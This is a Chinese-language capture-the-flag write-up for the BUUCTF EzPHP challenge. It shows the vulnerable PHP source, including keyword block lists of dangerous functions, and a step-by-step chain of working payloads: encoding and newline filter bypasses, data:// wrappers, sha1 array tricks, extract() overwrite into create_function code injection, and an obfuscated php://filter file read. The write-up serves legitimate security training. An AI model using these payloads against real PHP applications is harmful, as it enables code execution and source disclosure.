BUUCTF [BJDCTF2020] EzPHP
启动环境：
应该是卡巴斯基的网络安全威胁图，加载不出来，但不影响做题。
鼠标右键点击不了，在地址前添加：view-source:查看网页源码：
<html>
<!-- Here is the real page =w= -->
<!-- GFXEIM3YFZYGQ4A= -->
<head>
经过Base32解码，得到信息：1nD3x.php
访问该页面，得到源码：
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
fxck you! I hate English!
- 需要绕过
$_SERVER['QUERY_STRING']黑名单
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
$_SERVER['QUERY_STRING']获取查询语句，也就是GET请求中?后的内容，例如：
URL:www.xxx.com/?id=1&mes=2
$_SERVER['QUERY_STRING'] = "id=1&mes=2"
由于$_SERVER['QUERY_STRING']不会对传入键值对进行解码，所以通过URL编码方式绕过第一层黑名单。
通过GET方式传入?shana=1：
将其中关键字符进行URL在线编码，得到：
?%73hana=1
成功进入到下一层。
- 绕过
preg_match()
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!')
需要传入变量$debu的值为aqua_is_cute，使用%0a截断preg_matc()的匹配，并且将关键字进行URL编码：
?%64ebu=%61qua_is_%63ute%0a
成功得到回显，也就是可以成功执行$file = $_GET["file"];
$_REQUEST绕过
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
$_REQUEST同时接收GET和POST的传参，但POST拥有更高的优先级，所以只需要POST相同的参数即可绕过。
// GET
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
// POST
debu=1
期间遇到个问题，一直无法绕过该段限制，咨询大佬得知：
$_REQUEST的值与php.ini中的配置相关，当$_GET和$_POST中的键相同时，$_POST的值将覆盖$_GET的值。
其中还会包含有$_COOKIE的值，在之前做某些题目时，使用F12中的Appliaction添加过Cookie：
在访问同源网站时，会一直携带该Cookie，所以一直无法绕过。
file_get_contents()内容比较
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
传入的变量$file的值需要等于debu_debu_aqua
可以使用php://input或data://绕过：
php://input是将POST传入的数据全部当做文件内容data://text/plain,<?php phpinfo()?>data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61
// POST
debu=1&file=1
sha1()绕过
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
sha1()无法加密数组，直接使用数组绕过
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2
// POST
debu=1&file=1
create_function代码注入
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
其中变量$code和变量$arg可控，可以使用create_function()代码注入。
$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于：
function myfunc($a, $b){
return $a+$b;
}
若$b对传入的值没有限制，则可以使用$code=return $a+$b;}eval($_POST['cmd']);//该payload构造命令执行，也就是：
function myfunc($a, $b){
return $a+$b;
}
eval($_POST['cmd']);//}
在上一阶段的extract($_GET["flag"]);处进行变量覆盖，从而使变量$code和变量$arg可控
首先闭合原有的语句：
flag[arg]=}
在黑名单匹配后，include "flag.php";
很多函数被禁用，先使用get_defined_vars()将所有变量与值都进行输出，构造payload：
flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function
// 等价于
function{
}
var_dump(get_defined_vars());//}
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
// POST
debu=1&file=1
得到一张图片与所有变量键值：
flag就在这里，你能拿到它吗？
array(13)
{["_GET"] = > array(5)
{["debu"] = > string(13)
"aqua_is_cute "["file"] = > string(32)
"data://text/plain,debu_debu_aqua"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["flag"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"}} ["_POST"] = > array(2)
{["debu"] = > string(1)
"1"["file"] = > string(1)
"1"} ["_COOKIE"] = > array(0)
{}["_FILES"] = > array(0)
{}["_SERVER"] = > array(58)
{["PHP_EXTRA_CONFIGURE_ARGS"] = > string(77)
"--enable-fpm --with-fpm-user=www-data --with-fpm-group=www-data --disable-cgi"["HOSTNAME"] = > string(12)
"ca746354539e"["PHP_INI_DIR"] = > string(18)
"/usr/local/etc/php"["SHLVL"] = > string(1)
"1"["HOME"] = > string(14)
"/home/www-data"["PHP_LDFLAGS"] = > string(34)
"-Wl,-O1 -Wl,--hash-style=both -pie"["PHP_CFLAGS"] = > string(83)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"["PHP_MD5"] = > string(0)
""["PHP_VERSION"] = > string(6)
"7.3.13"["GPG_KEYS"] = > string(81)
"CBAF69F173A0FEA4B537F470D66C9593118BCCB6 F38252826ACD957EF380D39F2F7956BC5DA04B5D"["PHP_CPPFLAGS"] = > string(83)
"-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"["PHP_ASC_URL"] = > string(62)
"https://www.php.net/get/php-7.3.13.tar.xz.asc/from/this/mirror"["PHP_URL"] = > string(58)
"https://www.php.net/get/php-7.3.13.tar.xz/from/this/mirror"["PATH"] = > string(60)
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"["PHPIZE_DEPS"] = > string(78)
"autoconf dpkg-dev dpkg file g++ gcc libc-dev make pkgconf re2c"["PWD"] = > string(13)
"/var/www/html"["PHP_SHA256"] = > string(64)
"57ac55fe442d2da650abeb9e6fa161bd3a98ba6528c029f076f8bba43dd5c228"["FLAG"] = > string(4)
"null"["USER"] = > string(8)
"www-data"["HTTP_CONNECTION"] = > string(5)
"close"["HTTP_X_FORWARDED_PROTO"] = > string(4)
"http"["HTTP_X_FORWARDED_FOR"] = > string(26)
"223.104.176.195, 127.0.0.1"["HTTP_UPGRADE_INSECURE_REQUESTS"] = > string(1)
"1"["HTTP_REFERER"] = > string(318)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
"HTTP_ORIGIN"] = > string(58)
"http://9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"["HTTP_CONTENT_TYPE"] = > string(33)
"application/x-www-form-urlencoded"["HTTP_CACHE_CONTROL"] = > string(9)
"max-age=0"["HTTP_ACCEPT_LANGUAGE"] = > string(59)
"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2"["HTTP_ACCEPT_ENCODING"] = > string(13)
"gzip, deflate"["HTTP_ACCEPT"] = > string(74)
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"["HTTP_CONTENT_LENGTH"] = > string(2)
"13"["HTTP_USER_AGENT"] = > string(82)
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0"["HTTP_HOST"] = > string(51)
"9faafca8-d5c1-41ec-a1ef-a5810f417dca.node3.buuoj.cn"["SCRIPT_FILENAME"] = > string(23)
"/var/www/html/1nD3x.php"["REDIRECT_STATUS"] = > string(3)
"200"["SERVER_NAME"] = > string(9)
"localhost"["SERVER_PORT"] = > string(2)
"80"["SERVER_ADDR"] = > string(14)
"172.16.134.139"["REMOTE_PORT"] = > string(5)
"48922"["REMOTE_ADDR"] = > string(13)
"172.16.128.15"["SERVER_SOFTWARE"] = > string(12)
"nginx/1.16.1"["GATEWAY_INTERFACE"] = > string(7)
"CGI/1.1"["REQUEST_SCHEME"] = > string(4)
"http"["SERVER_PROTOCOL"] = > string(8)
"HTTP/1.1"["DOCUMENT_ROOT"] = > string(13)
"/var/www/html"["DOCUMENT_URI"] = > string(10)
"/1nD3x.php"["REQUEST_URI"] = > string(260)
"/1nD3x.php?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
"SCRIPT_NAME"] = > string(10)
"/1nD3x.php"["CONTENT_LENGTH"] = > string(2)
"13"["CONTENT_TYPE"] = > string(33)
"application/x-www-form-urlencoded"["REQUEST_METHOD"] = > string(4)
"POST"["QUERY_STRING"] = > string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"[
"FCGI_ROLE"] = > string(9)
"RESPONDER"["PHP_SELF"] = > string(10)
"/1nD3x.php"["REQUEST_TIME_FLOAT"] = > float(1608270639.3536)["REQUEST_TIME"] = > int(1608270639)["argv"] = > array(1)
{[0] = > string(249)
"%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function"} [
"argc"] = > int(1)} ["_REQUEST"] = > array(5)
{["debu"] = > string(1)
"1"["file"] = > string(1)
"1"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["flag"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"}} ["file"] = > string(32)
"data://text/plain,debu_debu_aqua"["shana"] = > array(1)
{[0] = > string(1)
"1"} ["passwd"] = > array(1)
{[0] = > string(1)
"2"} ["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"["value"] = > array(2)
{["arg"] = > string(32)
"}var_dump(get_defined_vars());//"["code"] = > string(15)
"create_function"} ["ffffffff11111114ggggg"] = > string(89)
"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}
在所有末尾得到提示，flag被隐藏在rea1fl4g.php页面中
利用require()，来代替include()：
require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//
因为限制了太多符号，所以尝试使用base64编码方式绕过.等符号的过滤：
flag[arg]=}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function
// GET
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_function
// POST
debu=1&file=1
得到了假的flag，查阅资料，使用~取反绕过，脚本：
<?
//Author: 颖奇L'Amore
//Blog: www.gem-love.com
$a = "p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = r e a 1 f l 4 g . p h p ";
$arr1 = explode(' ', $a);
echo "~(";
foreach ($arr1 as $key => $value) {
echo "%".bin2hex(~$value);
}
echo ")";
得到：~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f%)
构造最终payload：
// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function
?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function
// POST
debu=1&file=1
得到BASE64编码后的源码
PGh0bWw+DQo8aGVhZD4NCjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4NCjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+DQo8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEsIG1heGltdW0tc2NhbGU9MSwgdXNlci1zY2FsYWJsZT1ubyI+DQo8dGl0bGU+UmVhbF9GbGFnIEluIEhlcmUhISE8L3RpdGxlPg0KPC9oZWFkPg0KPC9odG1sPg0KPD9waHANCgllY2hvICLlkqbvvIzkvaDlsYXnhLbmib7liLDmiJHkuobvvJ/vvIHkuI3ov4fnnIvliLDov5nlj6Xor53kuZ/kuI3ku6PooajkvaDlsLHog73mi7/liLBmbGFn5ZOm77yBIjsNCgkkZjRrZV9mbGFnID0gIkJKRHsxYW1fYV9mYWtlX2Y0MTExMWcyMzMzM30iOw0KCSRyZWExX2YxMTE0ZyA9ICJmbGFnezg2YmVkNDIxLTNlZTEtNGViYy05MTY2LWM1NGQ5ODExMGFiNn0iOw0KCXVuc2V0KCRyZWExX2YxMTE0Zyk7DQo=
解码后，得到源码：
<html>
<?php
echo "咦，你居然找到我了？！不过看到这句话也不代表你就能拿到flag哦！";
$f4ke_flag = "BJD{1am_a_fake_f41111g23333}";
$rea1_f1114g = "flag{86bed421-3ee1-4ebc-9166-c54d98110ab6}";
unset($rea1_f1114g);
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